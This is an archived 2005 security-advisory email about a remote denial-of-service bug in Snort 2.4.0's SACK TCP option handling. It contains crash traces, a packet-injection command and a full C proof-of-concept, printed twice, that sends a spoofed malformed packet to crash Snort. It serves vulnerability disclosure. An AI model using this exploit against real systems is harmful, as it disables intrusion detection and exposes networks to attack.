Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [UNIX] Snort SACK TCP Option Handling DoS |
|---|---|
| Date: | 13 Sep 2005 11:12:35 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Snort SACK TCP Option Handling DoS ------------------------------------------------------------------------ SUMMARY <http://www.snort.org/> Snort is "an open source network intrusion detection and prevention system". A vulnerability found in PrintTcpOptions could allow an attacker to craft a malformed TCP/IP packet that would remotely DoS Snort. DETAILS Vulnerable Systems: * Snort version 2.4.0 and prior A vulnerability exist in the PrintTcpOptions() function located in snort-2.4.0/src/log.c This could allow an attacker to craft a malformed TCP/IP packet and make a DoS or totally crash Snort in a remote system. In order to exploit Snort needs to run in verbose mode (switch -v). After fuzzing Snort 2.4.0 with fuzzball2: =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 08/21-11:22:18.674064 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x36 127.0.0.1:80 -> 127.0.0.1:29383 TCP TTL:64 TOS:0x0 ID:64 IpLen:20 DgmLen:40 DF ***A*R** Seq: 0x0 Ack: 0x4A2AC316 Win: 0x0 TcpLen: 20 0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 ..............E. 0x0010: 00 28 00 40 40 00 40 06 3C 8E 7F 00 00 01 7F 00 .(.@@.@.<....... 0x0020: 00 01 00 50 72 C7 00 00 00 00 4A 2A C3 16 50 14 ...Pr.....J*..P. 0x0030: 00 00 31 76 00 00 ..1v.. -+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 08/21-11:22:18.676194 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A 127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20 DgmLen:44 ******S* Seq: 0xCC1016F Ack: 0x43F18422 Win: 0x16D0 TcpLen: 24 TCP Options (2) => Violaci n de segmento The process catch a SIGSEGV signal, ok, now we need to know what packet number crash Snort: root@blackb0x # snort -veX -i lo -q > DUMP.log Violaci n de segmento root@blackb0x # grep 127 DUMP.log | wc -l 123 At this moment we know that packet number 123 is the evil (may change) hu! ;)... Attaching Snort to GDB: root@blackb0x # gdb -q snort Using host libthread_db library /lib/tls/i686/cmov/libthread_db.so.1". (gdb) r -veX -i lo Starting program: /usr/local/bin/snort -veX -i lo ..SNIPED... 08/21-11:25:40.328775 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A 127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20 DgmLen:44 ******S* Seq: 0xCC1016F Ack: 0x43F18422 Win: 0x16D0 TcpLen: 24 TCP Options (2) => Program received signal SIGSEGV, Segmentation fault. 0x0804fef2 in PrintTcpOptions (fp=0xb7f8f120, p=0xbffff360) at log.c:1543 1543 memcpy(tmp, p->tcp_options[i].data, 2); (gdb) print tmp $1 = "\000\000\000\000" (gdb) print p $2 = (Packet *) 0xbffff360 (gdb) print i $3 = 0 (gdb) print p->tcp_options[i] $4 = {code = 5 '\005', len = 0 '\0', data = 0x0} (gdb) print p->tcp_options[i].code $3 = 5 '\005' (gdb) x/4b p->tcp_options_data 0x824edd0: 0x05 0x02 0x00 0x00 The error is in line 1543 from log.c: root@blackb0x:/home/nitrous/software/snort-2.4.0/src # cat -n log.c | grep -C 10 1543 1533 case TCPOPT_NOP: 1534 fwrite("NOP ", 4, 1, fp); 1535 break; 1536 1537 case TCPOPT_WSCALE: 1538 fprintf(fp, "WS: %u ", p->tcp_options[i].data[0]); 1539 break; 1540 1541 case TCPOPT_SACK: 1542 bzero((char *) tmp, 5); 1543 memcpy(tmp, p->tcp_options[i].data, 2); 1544 fprintf(fp, "Sack: %u@", EXTRACT_16BITS(tmp)); 1545 bzero((char *) tmp, 5); 1546 memcpy(tmp, (p->tcp_options[i].data) + 2, 2); 1547 fprintf(fp, "%u ", EXTRACT_16BITS(tmp)); 1548 break; 1549 1550 case TCPOPT_SACKOK: 1551 fwrite("SackOK ", 7, 1, fp); 1552 break; Reading the GDB's output found that p->tcp_options[i].code value is 5 (TCPOPT_SACK). Analyzing the Raw packet with tcpdump: #tcpdump -i lo -eXX -c 123 | tail -5 11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0) win 5840 0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E.., O.. ..z.... 0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....r .P. .oC ." 0020: 6002 16d0 3caf 0000 0502 0000 `.. Suspecting the last 4 bytes are the evil we make our own packet: root@blackb0x # printf "\x05\x02\x00\x00" > payload root@blackb0x # nemesis tcp -S 33.33.33.33 -D 127.0.0.1 -x 31337 -y 64876 -o ./payload TCP Packet Injected And again, the result: root@blackb0x # snort -veX -i lo -q 08/21-11:54:34.449751 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A 33.33.33.33:31337 -> 127.0.0.1:64876 TCP TTL:255 TOS:0x0 ID:61316 IpLen:20 DgmLen:44 ******S* Seq: 0x46FE88E2 Ack: 0x1494CF39 Win: 0x1000 TcpLen: 24 TCP Options (2) => Violaci n de segmento But the flaw doesn't appear to effect IDS mode in standard configurations (without -v flag): root@blackb0x # snort -c etc/snort.conf -D root@blackb0x # ps aux | grep snort root 9947 5.3 31.6 38616 34720 ? Ss 11:24 0:00 snort -c etc/snort.conf -D root 9949 0.0 0.6 3384 760 pts/1 S+ 11:24 0:00 grep snort root@blackb0x # ./snortrigger localhost -=[ Snort <= 2.4.0 Trigger p0c -=[ By nitr0us -=[ Sending Malformed TCP/IP Packet... -=[ Sent 44 bytes to localhost -=[ Snort killed ! root@blackb0x # ps aux | grep snort root 9947 1.9 31.6 38616 34736 ? Ss 11:24 0:00 snort -c etc/snort.conf -D root 9952 0.0 0.6 3384 760 pts/2 S+ 11:24 0:00 grep snort Proof of Concept Code: /*_------------------------------------------_ ||------+ Snort <= 2.4.0 Trigger p0c +------|| ||__________________________________________|| ||--=[ nitrous [at] vulnfact [dot] com ]=--|| ||--=[ VulnFact Security Labs ]=--|| ||--=[ 21 Ago 2oo5 ]=--|| ||--=[ Mexico ]=--|| ||__________________________________________|| -__________________________________________- Snort <= 2.4.0 SACK TCP Option Error Handling Este c digo envia al especificado un paquete TCP/IP con 4 bytes extras correspondientes al campo TCP Options [TCP Header]. Estos 4 bytes son "\x05\x02\x00\x00". NOTA !!!: Snort solamente cae cuando se esta corriendo en verbose mode (-v). Esto solo funciona testeando de una maquina a otra directamente conectadas (1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet, por que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por donde pase este paquete lo descartara por no tener una checksum valida. RFC #1072 - TCP Extensions for Long-Delay Paths 3.2- TCP SACK Option: .. Kind: 5 Length: Variable +--------+--------+--------+--------+--------+--------+ | Kind=5 | Length | Relative Origin | Block Size | +--------+--------+--------+--------+--------+--------+ Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos: 11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0) win 5840 <malformed sack [len 0] ,eol> 0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E.., O.. ..z.... 0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....r .P. .oC ." 0020: 6002 16d0 3caf 0000 0502 0000 `.. < ...... Testeado en: [+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;) [+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog" [+] snort 2.3.2 @ Debian Linux 3.1 "Sarge" [+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog" [+] snort 2.3.0 @ Red Hat Linux 9 [+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog" [+] snort 2.0.0 @ OpenBSD 3.5 GENERIC Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan, Rowter, Gus, Crypkey, protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2 fuzzer, gcarrillog, JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de "Sussie 4" ;)... Federico L. Bossi Bonin */ #include<stdio.h> #include<string.h> #include<unistd.h> #include<errno.h> #include<netdb.h> #include<sys/types.h> #include<sys/socket.h> #include<netinet/in.h> //#define __USE_BSD 1 /* Use BSD's ip header style */ #include<netinet/ip.h> #define __FAVOR_BSD 1 /* Use BSD's tcp header style */ #include<netinet/tcp.h> #define IPSIZE sizeof(struct ip) #define TCPSIZE sizeof(struct tcphdr) #define DEFAULT_SRC_IP "200.31.33.70" char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */ int usage(char *name) { fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name); fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP); return 0; } int main(int argc, char **argv) { char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4); char *srcip = DEFAULT_SRC_IP; int sockfd, count; int one = 1; /* setsockopt() */ struct sockaddr_in target; struct hostent *host2ip; struct ip *IP = (struct ip *) packet; struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE); if(argc < 2) return(usage(*argv)); if(argc == 3) srcip = argv[2]; if((host2ip = gethostbyname(argv[1])) == NULL){ perror("gethostbyname"); exit(-1); } if(getuid() != 0){ fprintf(stderr, "Ups!, must be r00t to perform RAW sockets\n"); exit(-1); } memset(packet, 0x00, sizeof(packet)); memset(&target, 0x00, sizeof(target)); target.sin_family = AF_INET; target.sin_port = htons(64876); target.sin_addr = *((struct in_addr *)host2ip->h_addr); /*** BUILDING MALFORMED PACKET ***/ IP->ip_hl = 0x05; IP->ip_v = 0x04; IP->ip_tos = 0x00; IP->ip_len = IPSIZE + TCPSIZE + 4; IP->ip_id = 0x00; IP->ip_off = 0x00; IP->ip_ttl = 0xff; IP->ip_p = IPPROTO_TCP; IP->ip_sum = 0x00; IP->ip_src.s_addr = inet_addr(srcip); IP->ip_dst.s_addr = target.sin_addr.s_addr; TCP->th_sport = htons(31337); TCP->th_dport = target.sin_port; TCP->th_seq = 0x00; TCP->th_ack = 0x00; TCP->th_x2 = 0x00; TCP->th_off = 0x06; TCP->th_flags = 0x00; /* NO Syn ;) */ TCP->th_win = htons(0xffff); TCP->th_sum = 0x00; TCP->th_urp = 0x00; memcpy(packet + IPSIZE + TCPSIZE, trigger, 4); /*** END ***/ if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){ perror("socket"); exit(-1); } if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){ perror("setsockopt"); exit(-1); } printf("-=[ Snort <= 2.4.0 Trigger p0c\n"); printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n"); printf("-=[ Sending Malformed TCP/IP Packet...\n"); if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr *)&target, sizeof(target))) == -1){ perror("sendto"); close(sockfd); exit(-1); } printf("-=[ Sent %d bytes to %s\n", count, argv[1]); printf("-=[ Snort killed !\n"); close(sockfd); return 0; } Disclosure Timeline: Flaw Discovered: 20/08/2005. Vendor Notification: 22/08/2005. Vendor Response: 23/08/2005. Date Published: 11/09/2005. Exploit Code: /*_---------------------------------------------- ||------+ Snort <= 2.4.0 Trigger p0c +------- ||___________________________________ ||--=[ nitrous [at] vulnfact [dot] com ]=-- ||--=[ VulnFact Security Labs ]=-- ||--=[ 21 Ago 2oo5 ]=-- ||--=[ Mexico ]=-- ||__________________________________________ -__________________________________________- Snort <= 2.4.0 SACK TCP Option Error Handling Este c digo envia al especificado un paquete TCP/IP con 4 bytes extras correspondientes al campo TCP Options [TCP Header]. Estos 4 bytes son "\x05\x02\x00\x00". NOTA !!!: Snort solamente cae cuando se esta corriendo en verbose mode (-v). Esto solo funciona testeando de una maquina a otra directamente conectadas (1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet, por que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por donde pase este paquete lo descartara por no tener una checksum valida. RFC #1072 - TCP Extensions for Long-Delay Paths 3.2- TCP SACK Option: .. Kind: 5 Length: Variable +--------+--------+--------+--------+--------+--------+ | Kind=5 | Length | Relative Origin | Block Size | +--------+--------+--------+--------+--------+--------+ Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos: 11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S 213975407:213975407(0) win 5840 <malformed sack [len 0] ,eol> 0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E.., 'O.. ..z.... 0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....r .P. .oC ." 0020: 6002 16d0 3caf 0000 0502 0000 `.. < ...... Testeado en: [+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;) [+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog" [+] snort 2.3.2 @ Debian Linux 3.1 "Sarge" [+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog" [+] snort 2.3.0 @ Red Hat Linux 9 [+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog" [+] snort 2.0.0 @ OpenBSD 3.5 GENERIC Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan, Rowter, Gus, Crypkey, protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2 fuzzer, gcarrillog, JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de "Sussie 4" ;)... Federico L. Bossi Bonin */ #include<stdio.h> #include<string.h> #include<unistd.h> #include<errno.h> #include<netdb.h> #include<sys/types.h> #include<sys/socket.h> #include<netinet/in.h> //#define __USE_BSD 1 /* Use BSD's ip header style */ #include<netinet/ip.h> #define __FAVOR_BSD 1 /* Use BSD's tcp header style */ #include<netinet/tcp.h> #define IPSIZE sizeof(struct ip) #define TCPSIZE sizeof(struct tcphdr) #define DEFAULT_SRC_IP "200.31.33.70" char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */ int usage(char *name) { fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name); fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP); return 0; } int main(int argc, char **argv) { char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4); char *srcip = DEFAULT_SRC_IP; int sockfd, count; int one = 1; /* setsockopt() */ struct sockaddr_in target; struct hostent *host2ip; struct ip *IP = (struct ip *) packet; struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE); if(argc < 2) return(usage(*argv)); if(argc == 3) srcip = argv[2]; if((host2ip = gethostbyname(argv[1])) == NULL){ perror("gethostbyname"); exit(-1); } if(getuid() != 0){ fprintf(stderr, "Ups!, must be r00t to perform RAW sockets\n"); exit(-1); } memset(packet, 0x00, sizeof(packet)); memset(&target, 0x00, sizeof(target)); target.sin_family = AF_INET; target.sin_port = htons(64876); target.sin_addr = *((struct in_addr *)host2ip->h_addr); /*** BUILDING MALFORMED PACKET ***/ IP->ip_hl = 0x05; IP->ip_v = 0x04; IP->ip_tos = 0x00; IP->ip_len = IPSIZE + TCPSIZE + 4; IP->ip_id = 0x00; IP->ip_off = 0x00; IP->ip_ttl = 0xff; IP->ip_p = IPPROTO_TCP; IP->ip_sum = 0x00; IP->ip_src.s_addr = inet_addr(srcip); IP->ip_dst.s_addr = target.sin_addr.s_addr; TCP->th_sport = htons(31337); TCP->th_dport = target.sin_port; TCP->th_seq = 0x00; TCP->th_ack = 0x00; TCP->th_x2 = 0x00; TCP->th_off = 0x06; TCP->th_flags = 0x00; /* NO Syn ;) */ TCP->th_win = htons(0xffff); TCP->th_sum = 0x00; TCP->th_urp = 0x00; memcpy(packet + IPSIZE + TCPSIZE, trigger, 4); /*** END ***/ if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){ perror("socket"); exit(-1); } if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){ perror("setsockopt"); exit(-1); } printf("-=[ Snort <= 2.4.0 Trigger p0c\n"); printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n"); printf("-=[ Sending Malformed TCP/IP Packet...\n"); if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr *)&target, sizeof(target))) == -1){ perror("sendto"); close(sockfd); exit(-1); } printf("-=[ Sent %d bytes to %s\n", count, argv[1]); printf("-=[ Snort killed !\n"); close(sockfd); return 0; } Related Links: * <http://www.vulnfact.com/exploits/snortrigger.c> Proof of Concept code * <http://www.nologin.org/main.pl?action=codeView&codeId=54& > Fuzzball2 TCP/IP Options Fuzzer * <ftp://ftp.rfc-editor.org/in-notes/rfc1072.txt> RFC #1072 - TCP Extensions for Long-Delay Paths * <http://www.iana.org/assignments/tcp-parameters> TCP Option Numbers ADDITIONAL INFORMATION The information has been provided by <mailto:nitrous@vulnfact.com> nitrous. The original article can be found at: <http://www.vulnfact.com/advisories/snort_adv.html> http://www.vulnfact.com/advisories/snort_adv.html The exploit code: <http://www.frsirt.com/exploits/20050912.snortsackdos.c.php> http://www.frsirt.com/exploits/20050912.snortsackdos.c.php ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [UNIX] mutt mutt_decode_xbit() Buffer Overflow, SecuriTeam |
|---|---|
| Next by Date: | [UNIX] Frox Aribitary File Access, SecuriTeam |
| Previous by Thread: | [UNIX] mutt mutt_decode_xbit() Buffer Overflow, SecuriTeam |
| Next by Thread: | [UNIX] Frox Aribitary File Access, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |